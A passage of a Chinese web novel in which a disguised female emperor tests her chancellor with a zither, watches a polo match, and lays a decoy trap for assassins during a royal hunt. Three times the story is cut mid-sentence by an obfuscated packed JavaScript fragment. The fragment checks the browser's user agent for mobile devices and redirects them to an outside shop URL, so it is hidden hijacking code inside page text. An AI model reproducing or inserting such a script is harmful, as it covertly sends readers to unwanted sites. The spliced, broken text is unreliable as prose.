赵锦繁在宣纸上写下这三人的名字。 这三人真是各有各的古怪之处。 她有种预感,只要弄清楚这些古怪的地方,那晚的真相就会浮出水面。 赵锦繁想了想,提笔在其中一人的名字上画了个圈。 她决定先从最可疑的地方入手查起。 * 丞相府后院,迎春蕊黄,杏花淡白,水榭旁锦鲤争食,溅起阵阵水花。 沈谏优哉游哉地倚在栏杆旁喂鱼。 刘管事匆匆走到他跟前,道:“相爷,陛下宣您立刻进宫。” 沈谏莫名其妙:“无缘无故,要我进宫做甚?” 北狄使团的事不是解决了吗?荀某人也还好好“死”着,最近还有什么大事那么着急? 刘官事回道:“说是请您进宫品琴。” 沈谏:“……” 品……琴…… 认真的吗? 沈谏秉持着怀疑的态度进了宫。 紫宸殿内檀香袅袅,琴音悠扬。 赵锦繁坐在琴桌旁,手指拨动琴弦,幽幽琴声自七弦间传出,如淙淙流水,清脆灵动。 她的父皇喜欢舞乐,为此她母妃曾苦练古琴争宠,她耳濡目染也会几曲。 见沈谏来了,她做了个请的手势,请沈谏坐在她正对面不远处的那张琴桌旁。 “听闻沈卿爱琴,朕前几日刚得了把好琴,想来与沈琴的那把名琴‘怀玉’不相上下,特意请沈卿前来一品。” 沈谏饶有兴致地问起:“哦?陛下还知道‘怀玉’的事。” 赵锦繁道:“传闻此琴有灵,沈卿珍之爱之,视若珍宝,对外言称千金不换。有爱琴之人愿意出万金请沈卿割爱,沈卿见此人心诚便同意了。谁知——” “那人买走‘怀玉’的第一天,夜里便梦见了琴灵。琴灵告诉那人,他能买走琴的躯壳,却带不走它的心,它的心只属于沈卿你一人。那人为琴灵的忠贞所感动,决定成全琴灵。于是又将琴转赠回了沈卿。” 赵锦繁瞥了沈谏一眼,语调一转。 “兜兜转转这琴又原封不动回到了沈卿身边,沈卿还白得了万金。这样的‘佳话’,朕又岂能不知呢。” 什么此琴有灵全是放屁,不过是换个文雅的名头私相授受罢了。 沈谏笑笑:“那陛下可知道,与‘怀玉’有关的另外一件事?” 赵锦繁:“说来听听。” 沈谏:“‘怀玉’不仅仅是那琴的名字,还是臣的表字。” 赵锦繁微愣:“你的表字?” 沈谏:“曾经有人在臣失意之时送了臣一枚白玉吊坠,臣为将她的心意怀藏在心,故取字为怀玉。还记得她赠玉时曾说道——” “君子如玉,白璧无瑕,愿君赤子之心永存。”赵锦繁接话道。 沈谏微怔,垂眸:“臣还以为陛下忘了。” 赵锦繁抬眸凝着他:“朕没忘,是沈卿你忘了。” 忘了曾经的赤子之心。 沈谏沉默。 一室寂静,空气恍若凝滞。 赵锦繁抬指拨了拨琴弦,打破一室沉凝。 她笑道:“不过朕倒是觉得,沈卿现在这样也未必不好,正所谓水至清则无鱼。朝堂上既有像言卿一样执着本心的臣子,又有像沈卿一样八面玲珑的臣子,百花齐放,才有活力。” “这就好比一片鱼塘,不能只有鱼,还得有水,有草,有泥,才能长久存续。只要能为社稷所用,那便都有其存在的价值。” “沈卿必然是有大能耐的,否则怎么能得朕那挑剔的仲父青眼呢?” 沈谏闻言笑了:“陛下还是和从前一样,那么会安慰人。只是不知陛下是更喜欢言书监那样的,还是臣那样的?” 赵锦繁温声道:“天子博爱,你们都是朕的股肱之臣,朕当然都喜欢。” 沈谏又问:“说到股肱之臣朝中顶梁,又有谁能及得上摄政王呢?陛下的博爱也有一份在他那吗?” 赵锦繁微笑不答。 “好了不说这些了。”她道,“今日请沈卿过来是为品琴,说了这么多,倒险些把正事忘了。” 沈谏目光朝琴桌看去,琴桌上摆着把古琴,他抬手一抚,琴弦发出“铮”地一声。 琴身乌黑,通体木色泛着层柔和光晕,琴声透彻,的确是把不可多得的好琴。 “不知这把琴可有名字?”他问。 时下之人附庸风雅,都喜欢替自己身边的所有物,什么琴啊笔啊的,取上一个有意义的名。 赵锦繁回道:“尚未取名,沈卿文采了得,不如就请你替它取个顺口的名。” 沈谏垂眸,沉思片刻后,抬眼看向赵锦繁,试探着说道:“这琴既归陛下所有,不如就叫‘紫薇’吧。” 他特意补了句:“臣是指紫薇花的紫薇。紫薇长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13477598|141942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开放于夏秋少花之季,其性坚毅,生命力顽强,古时又有象征尊贵、权势之意。” “是个好名。”赵锦繁回道。 不过……她总觉得好像有哪里不对劲,但一时又说不上来。 沈谏的目光久久落在她身上,似乎想从她脸上找到一点不同寻常的反应,可惜他并未如愿。 给琴取完名,赵锦繁对沈谏道:“沈卿既得琴灵认主,想必在弹琴一道上有自己独特的造诣。难得好琴当前,不如弹上一曲。” 沈谏:“……不知陛下想听臣弹哪一曲?” 赵锦繁道:“就弹你最常弹,弹得最好的那一曲吧。” “那臣就弹《高山流水》吧。” 沈谏抬手按在琴弦上,拨弦之前对赵锦繁道:“臣只是粗通音律,琴艺不精,陛下莫要见怪。” “无妨。”赵锦繁端起一旁的茶盏,摆出一副欣赏的姿势。 沈谏深吸一口气,开始拨动琴弦。 “铮铮……滋滋滋……砰……滋滋滋……铛铛铛铛……滋砰滋砰……铮铮铮……” 乐声传来,赵锦繁捧着茶盏的手一抖。 “……”她想过会烂,但没想到能这么烂。 他这还敢叫粗通音律?简直是狗屁不通! 这弹的是高山流水吗?这弹的分明是泥棍搅水吧! 真是有碍胎教。 沈谏还在那低头弹得投入,仿佛并未察觉到自己弹得有多难听。 赵锦繁修养始然,强忍住想让人将他拖出去打死的冲动,等他弹完了这一曲。 一曲毕,沈谏意犹未尽:“果然是好琴,臣好久未弹得如此尽兴了。” 赵锦繁扯了扯嘴角:“卿开心就好。” 沈谏:“不如臣再来一首《阳春白雪》请陛下品鉴一二。” 赵锦繁:“……”大可不必。 真怕你弹的不是阳春白雪,而是黑锅流油。 她笑了笑婉拒道:“沈卿这一曲够朕回味许久了,你先退下吧。” 再不走,她怕自己忍不住要命人剁了他的双手。 沈谏应是,正打算走人,忽想到了什么,向赵锦繁问道:“陛下院里那群兔子看着有些眼熟,似乎是摄政王养在太液池旁的那些?” 赵锦繁回他道:“仲父不在京中,朕替他照看一二罢了。” 沈谏笑道:“如此也好,有陛下照看,臣就不必多操心了。” 言罢,躬身行过一礼,转身离去。 赵锦繁看着他的背影消失在殿门前,转头朝屏风后的人问道:“那晚你听到的可是这种琴声?” 如意自屏风后出来,细细回想。 “有点像,又有点不像。那天晚上沈相进了寝殿以后,殿里就传出了琴声。那琴声的确同今日一样,曲不成调,断断续续的。不过那日的琴声似乎比今日的更为……气势磅礴?”如意十分肯定点头道。 赵锦繁眉心微蹙,若有所思。 什么叫气势磅礴? 事情真是越来越扑朔迷离了。 * 沈谏自宫中回到府里。 水榭边上,几只白羽信鸽朝他扑腾着飞来,停在他肩头。 沈谏取下绑在白鸽爪子上的信,屈指展开信纸,看了眼信上内容。 朱翰林不知何时从他身后冒了出来:“可是君上有新的消息?” 沈谏“嗯”了声。 有些人“死”太久,想出来活一活。 24. 第 24 章 次日,春风和煦,艳阳高照。 皇城梨园广场内,诸国使团与大周正在举行一场击鞠赛。 场上彩绸飞扬,马蹄卷起阵阵尘土,几对人马分别代表着不同国家,在场上追逐竞争,每当有人击球进洞,边上便响起擂鼓庆贺。 马蹄声,擂鼓声,呐喊声,各种声浪交杂在一起,热火朝天。 赵锦繁率众臣与各国使者于一旁高台上观看比赛。 虽说是场以娱性为主的击鞠赛,但谁都不想在诸国面前失了颜面,铆足了劲拼。 北狄人以牧马为生,最擅御马,获胜的彩绸大半都去了他们那里。乌连人民风彪悍,狠劲十足,获得彩绸的数量紧随其后。 而大周所获彩绸寥寥无几。 场上这群大周儿郎们个个身手矫健,球技一流,为了今日的击鞠赛,训练许久,原本信心十足。 可惜天有不测风云,临上场前这支队伍的领队突发旧疾。 缺了主心骨的队伍,人心涣散,少了几分士气,在场上表现得不尽如人意。 北狄王萧衍脸上不无得意:“你们大周从前也是马背上得天下,今日只得那么些彩绸,未免有些说不过去吧。” 在场大周官员只能挂着一脸假笑装作没听见。 乌连王在一旁默不做声,他只是觉得这场击鞠赛一眼就能望到头,异常无趣。 东瀛使者清原还是老样子,只要能踩上大周一脚的场合,他必定要出来说叨几句,尽管他东瀛在场上一面彩绸也未得到。 只听他讽道:“大周泱泱大国,连击鞠都击不好,说出去未免让人笑话。” 话音刚落,从不远处传来一阵冷笑:“是谁在那口出狂言?” 众人循声望去。 楚昂骑着马悠悠上前,抬眸朝看台瞥了一眼,气势凛然。 清原为他气势所摄,笑容僵在脸上。 时隔多日,再见楚昂,他依旧还是那副小爷我脾气差不好惹的样子。 赵锦繁合理怀疑,若不是在场有多国使者在,他得顾及大周颜面,方才他一出口必定不会是“是谁在那口出狂言?”而是“到底是哪条狗在吠?” 楚昂懒得多说,拿起球杖,骑着马朝赛场中心而去。 “少将军!” 场上的大周儿郎们见他来了,兴奋地迎了上来。 北狄王萧衍听见场上的呼喊声,对赵锦繁道:“原来这位就是贵国的少将军,我军曾跟他交过不少次手。他的行军风格异常凶悍,本王还以为是个粗犷的糙汉子,不想是位样貌精致的美男子。” 赵锦繁笑了声:“楚将军的确样貌不凡,自小就是人群中最亮眼的。” 楚昂的相貌随了他的父亲定国公,年轻时的定国公不知引得多少贵女芳心暗许,这其中就包括楚昂的母亲和现如今的那位定国公夫人。 乌连王不知想到了什么,侧头插了句话:“你们大周人是不是打架越凶,长得越好看?” 赵锦繁不明所以:“啊?” 这是什么道理? 就在她愣神的瞬间,赛场上传来了震天擂鼓声。 看台上的大周官员们雀跃地呼喊着。 “大周胜了!” “少将军好样的。” 赵锦繁朝赛场上看去。 楚昂正被场上的大周儿郎们簇拥在中心。 他极擅长骑射、击鞠,与场上这群击鞠能手们过去都是打惯交道的,彼此之间都很熟悉。他一个眼神,一个动作,其他人便知道他的下一步动作。 几人配合默契,在楚昂的指令下,冲锋的冲锋,防守的防守,很快就拿下了一球。 这一球过后,整支队伍士气大振,全然没了最开始上场时的颓丧之气。 大周在场上的形势开始逆转。 楚昂带领着大周儿郎们稳稳控球,北狄人见此情形奋力追击,乌连人紧随其后,广场之上开启激烈角逐,擂鼓声一声接着一声。 一直到赤乌西坠,霞光染满整片天际,比赛才结束。 楚昂带领着场上的大周儿郎们拿下了第一。 大周官员们欢呼雀跃,北狄王不甘不愿地拍手恭贺,至于东瀛使者清原自觉没脸,半途就躲得没影了。 夕阳余晖倾洒在楚昂身侧,落下一层绯色光晕。 他牵着马离开人群,走到看台下,自下而上望去,对上赵锦繁的视线:“怎样?没让你丢脸吧?” “那是当然。” 赵锦繁垂眸注视着他,冠冕上十二串旒珠随风轻摆,在她眉梢眼角折射出斑斓光点。 楚昂低头轻笑,那一笑如朗月入怀。 赵锦繁微愣,回过神来,笑道:“这几日都不见你,你去哪了?” 楚昂回她道:“去了趟陵州。” 赵锦繁了然。陵州是楚昂母亲的祖籍,他约是去那探望外祖了。 * 击鞠赛结束后是庆功宴。 大周官员们齐齐朝楚昂敬酒恭贺。 楚昂不咸不淡地举杯回礼,喝完众人敬的酒,转头走到坐在正中上首的赵锦繁跟前,往她杯盏里注入少许酒水,道:“难得高兴,不喝一杯?” 他主动向她邀酒,代表着之前生她的气已经烟消云散。 赵锦繁倒也很想陪他喝一杯,只不过现下她肚子里多了位难伺候的小祖宗,实在不方便饮酒。 她将杯盏里的酒换成了水,道:“我这几日正服着些补气血的药,酒水冲撞药性,暂饮不得,只好以水代酒敬一敬子野。” 楚昂皱眉,急问:“你身子还未好?” 赵锦繁回道:“只是调养一二,不必担心。” 听她说自己担心她,楚昂不自在地道:“我并非担心你,只是随口一问。” 话是这么说,他又低头仔细瞧了瞧她的脸色,见她面色红润的确不像生病的样子,才放下心来。 赵锦繁:“对了,明日的围猎你去吗?” 这几日赵锦繁与诸国使团洽谈互通商贸、使节往来之事。连日来,与这些使团周旋,饮宴、击鞠之类的应酬不断。 明日诸国相约在西郊猎场围猎。 她知晓楚昂一向喜欢骑射,本以为明日他也会一起去。却不想,楚昂摇了摇头道:“我就不去了,这几日家中有客。” “这样啊,那好吧。” 春闱将近,又想到楚昂刚从外祖家回来,赵锦繁隐约猜出了他家中来的是哪位贵客。 * 沈谏坐在不远处,看着赵楚二人有说有笑的样子,默默饮酒。 坐在他身边的张永顺着沈谏的视线瞄了眼:“相爷可知,陛下好男风,尤其对少将军一往情深。” 沈谏呵呵几声:“你从哪道听途说来的?” 张永道:“上回宴请各地举子和使者之时,陛下亲口对着昭王承认的,我在旁亲耳听见的。” 沈谏见怪不怪:“但凡有几分姿色的,她都‘喜欢’。” 这话怎么听上去酸邹邹的。 张永瞥了沈谏几眼:“您看着也颇有姿色,所以您的意思是陛下也喜欢您?” 沈谏:“……”平常怎么不见你脑子转得这么快? 张永相当自信:“按您这说法,陛下应该也挺喜欢我的。” 不过论色相,那位才是个中翘楚,这么说陛下也…… 张永脑中闪过一个人影,想到那个人,他浑身寒毛莫名倒竖了起来。 不,唯独那位绝不可能。 他很快否定了自己荒唐的想法。 “说起来有件事我怎么也想不通。”张永道,“千都山那些个乱党残余,又不难处理,君上指个人去不就成了,何须亲自前去?” 沈谏无所谓道:“谁知道呢?他那个人一惯任性。” 比起荀某人,他倒是觉得有个人最近更奇怪。 沈谏的目光朝赵锦繁望去。 从荀某人给他的回信来看,出手杀他的毫无疑问是他们这位陛下。 赵锦繁是个耐心的猎人,行事一向谨慎求稳,从不急于求成。 却不知她为何,忽然间那么着急对荀某人下杀手? 这实在不像她一惯以来稳中求胜的作风。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13477599|141942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 到底为什么呢? 想必荀某人也很好奇为什么,所以才会让他将近期赵锦繁的一举一动,尽数告知于他。 也不知道他从中看出些什么没有? * 庆功宴到中途时,定国公楚骁携夫人宋氏前来参宴。 定国公楚骁身形挺拔,五官深邃凌厉,举手投足透着将门中人洒脱不羁的豪气,虽上了年纪,那股风流潇洒的劲儿依旧不输当年。 他身旁的宋夫人,姿色秀丽,端庄温婉,站在高大的定国公身侧,显得有些小鸟依人。 两人看上去相敬如宾,关系很不错的样子。 这些年定国公深居简出,甚少出席公开宴席,今日罕见露面,显然是为了他的儿子楚昂。 楚昂自受封官职以来,便自立门户,与定国公府几乎无甚往来。久违地见到了自己的父亲,他的脸上并不见任何喜色。 定国公只是站在远处看着楚昂,并未上前与他搭话。 倒是宋夫人走上前,十分亲昵地同楚昂打招呼:“子野。” 楚昂见她走来,恭敬回了她一礼:“夫人。” 宋夫人还待再说什么,楚昂并未给她再开口的机会,借口说自己喝多了,和赵锦繁道了别,转身离了席。 宋夫人望着楚昂离去的背影,转头又看了眼定国公,无奈叹了口气。 张永坐在一旁,看着眼前这父子离心的一幕,啧啧了几声:“早知如此,何必当初。” 沈谏斜了他一眼:“你又知道什么了?” “这外头可都在传,定国公他……”张永正欲跟沈谏分享自己得来的小道消息,他口中的定国公便朝他们的方向走来,张永立刻识相地闭了嘴。 见定国公走来,沈谏起身朝他寒暄:“您看上去气色很不错。” 定国公顺口回了句:“托沈相的福。” 沈谏笑了声:“应该是托陛下的福吧。陛下聪颖果敢,应对各国使团游刃有余,使我大周声威大震,这些天//朝野上下对陛下无有不服的,保皇派总算是一雪前耻了。” “你说的不错。”定国公抬目朝坐在上首的赵锦繁看去。 “不过冰冻三尺非一日之寒,想要彻底赢回人心恐怕没那么容易,更何况……”沈谏语调一顿,“他回来了。” * 庆功宴结束后已是深夜,赵锦繁回到紫宸殿中,沐浴更衣,准备休息。 如意替坐在镜前的赵锦繁梳着发,面露忧色:“明天的围猎您非去不可吗?” 赵锦繁道:“这是自然,朕身为大周国君,既与诸国使团约定好了,总不好冒然失约。” 如意看向赵锦繁的小腹:“不过您的身子方便吗?” 赵锦繁朝她眨了眨眼道:“无妨,只是稍稍装个样子,不动真格。” 如意面上忧色不减,叹了口气道:“每次一到围猎您身边总有不好的事发生,三年前您刚当上储君时的那场遇刺,还有前阵子摔马那事都因围猎而起,我这心里不知怎么的,总也安定不了。” 赵锦繁闻言目光渐渐沉了下来。 她从镜台旁隐蔽的柜子里,取出一把生锈的匕首。这把匕首是从三年前行刺她的那群刺客身上寻到的。 这把匕首的形状很特殊,它比一般匕首刀身极窄,柄细,刃上有尖刺,是为行刺专门打造的暗器。 巧的是,前阵子她摔马时骑的那匹马身上,有用同样暗器造成的伤口。这个伤口十分细小,又藏在马的鬃毛之下,极其不易被人察觉。 那匹马突发烈性,将她摔下马的真正原因就在于此。 整件事情绝非意外,而是有人蓄意杀她。 而且这个人极有可能和三年前行刺她的那位是同一个。 这个人锲而不舍地想要她的命,可见心中执念之深。 皇城铜墙铁壁不好下手,出了宫就不同了。 明天的围猎是个下手的好机会,只怕这个人不会错过。 但这个人到底是谁呢? 赵锦繁躺在床上,闭目静思,心里隐隐有了答案,周身升起一股凉意。 25. 第 25 章 赵锦繁清楚暗害她的不是站在她对立面的信王,而是自己人。 她还记得三年前,躺在病榻上的父皇在看到那把从刺客身上寻来的匕首后,先是惊怒交加,随后苦笑了几声,嘱咐她,不要再继续追查这件事。 他极力替那个凶手隐瞒,想尽办法平息此事。尽管他知道那个人险些要了她的命。 要么那个凶手是他极力想护着的人。要么那个凶手与他关系密切,身份一旦暴露,会让他很难做。 所以就要她忍下所有委屈。 夜很寂静,万物无声。 赵锦繁睁眼,望向无边夜色。 想到自己亲爹对这事的态度,说不膈应是骗人的,她对此多少有些恼火和低落。 但很快理智占了上风,冷静了下来。 敌暗我明,她一直处于被动状态。 与其坐以待毙,任人宰割,不如化被动为主动。既然围猎非去不可,那就借此机会,将计就计,引那个人现身。 * 翌日一早,赵锦繁协同诸国使团,一路由禁军护送,前往西郊围猎。 一同前往的还有几位朝中重臣和皇室宗亲。 其中还来了几位意想不到的人物。 沈谏不精骑射,据传他对围猎之事一向能避则避,今日倒破天荒跟来了。 还有赵锦繁的两位兄弟,昭王和衍王。 按理说他们俩不是缺胳膊就是断腿的,没什么来的必要。 但她的六皇兄昭王素来爱争强,不喜别人将他与常人区别对待,即便不能骑马行猎,也要强撑着双拐跟来。 十皇弟衍王像被昭王强拉来的,看上去不情不愿的。 还有深居简出的定国公,不知出于什么理由,竟也来了。 说来也巧,这几人三年前那场围猎的时候也在。 西郊白云山,山林密布,猎物颇丰。 赵锦繁为此次围猎设下了丰厚彩头,并表示:“从现在起,到今晚子时止,所获猎物数量位列前三者,得重赏。其余各人,但凡猎到东西的,按所获猎物的数量进行分赏,数量越多的,赏赐越多。” 此言一出,众人争先恐后策马入林。 北狄王挽弓朝向上空,一箭射下盘旋林间的白雕,拿下今日第一只猎物。 乌连王和其他各国使臣不甘示弱紧追其后。 一时间鸟雀惊飞,山林震动。 沈谏悠悠地骑着马行在林间。 张永跟在他身后,有一搭没一搭地说道:“君上今天真的会来吗?” 沈谏“嗯”了声:“他来信说今日到,那必然会到,他这个人向来言出必行。” 张永忍不住叹了句:“他还是人吗?” “从云州到京城,普通人日夜兼程也要个二十日上下,体力好的快个一两天脚程也是有的。他这才过了十六日,就到了?” “没记错的话,前阵子他还在那场山石崩塌中受了不小的伤。京城是有什么宝贝,值得他不顾伤势,拼了命也要赶回来?” 沈谏扯了扯嘴角:“谁知道呢?也许是急着回来寻仇呢?” 另一边,赵锦繁牵着马装模作样在山林里转了圈。 期间偶遇了她的六皇兄昭王。 昭王坐在轮椅上,瞥见赵锦繁在前头,脸色不怎么好看,不咸不淡地道了句:“参见陛下。” 自从上回大宴上知道了赵锦繁的真面目。 他总算明白了为什么小时候每次欺负完笨蛋老九,自己都要莫名其妙倒霉好一阵子。 赵锦繁笑眯眯对着他:“怎么只六皇兄你一个人在这,十皇弟没同你在一起吗?” 昭王看见她笑就渗得慌,忙回道:“他说自己头疾突然犯了,受不了这山上的风,没待多久便下山回宫了。” “这样啊。”赵锦繁道,“回头朕请御医好好替他瞧瞧。” 和昭王说了几句,赵锦繁回了半山腰的营地。 她盘算着,白云山四周有禁军巡逻,守备森严。那个人若想下手,必定会等夜里禁军交替轮换守备松懈之时。眼下还不是他下手的好机会。 正如赵锦繁所预料,一整个白天都无事发生。 入夜后,营地上架着篝火。 因她设下丰厚彩头,表示多猎多得,此刻留在营地的人不多,还有不少人留在山林行猎。 留在营地的人围坐在一起,烤肉喝酒,欢声笑语连连。 有使臣邀请赵锦繁一同欢饮:“陛下,不妨一起过来喝一杯。” “不了,朕稍觉乏累,先回营帐睡会儿。”赵锦繁看了眼天色,婉拒了邀请,独自回了营帐。 * 白云山深处,万籁俱寂,偶尔能闻得野兽啼鸣。 乌连王手持弯弓,骑着马穿行在森森密林之中。 他今日白天收获不算很多,都是些獐子山鸡野兔,心里总觉得缺了点意思,想着晚上无论如何要猎一只好货。 就在刚刚,他在山头遇见了只皮色极为漂亮的野鹿。 他一路追着那只野鹿,进了山林深处。 夜间深山,浓雾弥漫,伸手看不见五指。 乌连王只能靠周遭的声响来辨明猎物方向。连续射下数箭都未击中猎物,他心中升起一阵焦躁。 忽闻后方传来异响,这响声不同与猎物奔走擦过树枝的响声。 乌连王直觉林中有人正从他身后走来。他警惕地朝发出响动的方向举箭弯弓:“是谁?” 周遭视线不明,但静得出奇,那位隐在浓雾之中的人显然听见了他的问候。 “是我。”那人道,“乌善。” 听到这声回答,乌连王忽然咬牙切齿,握箭的手开始不由自主地颤动,不知是愤怒还是激动。 这当然不是因为很久没有人敢直呼他大名乌善了,而是因为那位不速之客的声音。 这个声音他就是死也忘不掉。 五年前,大周西南边境战场上。 他第一次听见那个人的声音。 彼时他刚登上王位,又连续攻破周边三国,战绩辉煌,正站在人生至高峰,气势正盛,对踏平大周西南信心十足。 他还记得那个人在开战前曾问他实力够强吗? 对于这个问题,当时他答得毫不犹豫:“当然。” 他这辈子还没在打仗上输过,如果连他这样的战力都不算强,那什么才算? 他以为那个人在听到他的回答后会有所顾忌。 但恰恰相反,那个人在听到他的回答后,非但未露出丝毫怯意,还十分大言不惭地回了句他毕生难忘的话—— “未必。” * 夜色浓深,四野寂静。山上巡逻的禁军交替轮换,正是守备最松懈之时。 赵锦繁的营帐位于营地深处,僻静独立。 营帐后方的丛林里,安插满了她的伏兵和暗卫,潜藏在暗夜之下,隐蔽而不为人察觉。 赵锦繁在营帐正中的坐榻上,放上了和自己肖似的假人布偶。 营帐内烛火通明,半透的牛皮帐布上隐隐映出帐内景象。 从外头看,就和她本人躺在坐榻上小憩几乎一样。 这还是皮影戏给她的灵感。 当然她还不忘在“假赵锦繁”身边,安插几个人高马大的假人侍卫。 安排完自己的替身,她悄悄离开营帐,潜入后方丛林,耐心等待着“猎物”自己上门。 赵锦繁屏息静声。 夜风渐起,树梢枝叶摩擦发出窸窸窣窣细响,有杂乱的脚步声混在其中,脚步声越来越近,汹涌的杀意渐渐逼近。 来了! 漆黑夜空下,数十道黑影腾空而下。这些黑影落地之时,声响极轻。能够避开满山禁军,潜入营地深处的,可想而知每一个都是精英中的精英。 赵锦繁藏在暗处,看到眼前这一幕,暗骂了一句:该死的! 暗杀她一个,用得着派这么多人吗?那个人是狠绝了心要拿她的命。 前方数十道黑影匍匐朝营帐而去,不久将营帐团团围堵,刺客手中利刃出鞘,在夜色下泛着粼粼寒光。 只一瞬间的功夫,利刃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13477600|141942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 划破营帐,数道黑影冲锋在前,冲进营帐。待看清营帐中什么人也没有,有的只是些假人布包,立刻醒悟:“不好,有诈!” 看到对方因觉有诈而自乱阵脚,潜伏在林中的中郎将叶效朝赵锦繁比了个手势问—— 陛下,趁现在动手吗? 赵锦繁冷静注视着前方,回他一个动作,示意—— 稍等,勿轻举妄动。 情况有变。 她的目光落在前方山道上。 落叶堆积的山道,在月色下如覆银霜。 有人正踏着沉稳有力的步伐自山道下方迎坡而上。 看来今晚过来找她的“不速之客”不止这些刺客。 夜风吹拂着来人玄色衣摆,袖口金线绣成的卷云纹在月色照耀下透出淡淡光辉。 他仿佛一眼就看透了这里发生的一切,那双眼睛正直视着前方,似乎正透过郁郁森森的树丛与她对视。 赵锦繁心猛地一紧,直觉来者不善,慌忙撇开视线。 她一侧过头,就瞥见中郎将叶效在看清来人后,惨白着一张脸:“摄摄摄、摄……” 赵锦繁:“射死他?” 叶效:“不、不不不……” 结巴了半天也没听他说出一句完整的话。这实在不太像效表兄平时遇事处变不惊的样子。 显然来人和刺客不是一路的。 营帐边上的数十道黑影警惕地望向来人,在看清对方只是孤身一人后,挥刀直上。 这群来行刺的人,不会让看见他们的人活着回去。 不管来的是什么人,送上门来,只能算他倒霉。 和赵锦繁一起藏在树丛间的叶效,看到来人被数十道黑影堵截后,捂脸:“完了。” 那人逆光而立,身姿挺拔,肩宽腿长。夜色朦胧,辨不太清晰他的眉目长相,但应该是叶效极为熟识的人。 被这么多高手围杀,他必死无疑,也确实是完了。 她正这么想着,就听叶效满脸复杂地感叹:“那群刺客算是完了。” 赵锦繁:“啊?” 话音刚落,前方就传来兵刃相接的声响。 没过一炷香,赵锦繁就见识到了叶效口中的“完了”是什么意思。 那个人解决刺客的速度像风,动作不带一丝犹豫,极快,极准,让人来不及反应。 冷静,从容,杀伐果断。 上一瞬都没看清他何时从腰间抽出了软剑,下一瞬剑尖就划断了眼前刺客的脖颈。 嘶…… 赵锦繁倒吸一口凉气。 想要做到这么快,这么准,不仅是剑术高超那么简单,那个人的脑子得比手快。 如果要让赵锦繁用一个词来形容那个男人,那就是——可怕。 他简直强到离谱。 离谱到让赵锦繁有了一丝莫名的熟悉感。 但为什么呢? 在她分神思考这个问题的瞬间,那个男人又一剑解决了好几个刺客。 他出招很凶。 凶到让赵锦繁觉得,他比她还厌恶这群来杀她的刺客。 夜风呼啸,剑刃迅速刺穿皮肉的声音混杂在其中。 赵锦繁看到那个男人朝她所在的方向无声说了句什么。 他知道她看得懂。 赵锦繁按着他的唇形在心里复刻出了那句话,那句话似乎是—— “赵、锦、繁、只、能、死、在、我、手、上。” 这便是他厌恶那群刺客的理由。 呵呵。 几乎是赵锦繁解读出他那句话的同一时间,最后一个能打的刺客应声倒地,在断气前的那一刻,那位刺客狠狠瞪着那个男人,几乎是搜肠刮肚般想知道眼前这个男人到底是何方神圣。 咽下最后一口气前,他终于找到了这个男人在深夜来此地,并对他们下手那么狠的合理解释。 “你……是狗皇帝的人。” “她的人?”那个男人抬目朝营帐后方的丛林望去,“我算不算,你问她。” 赵锦繁:“……”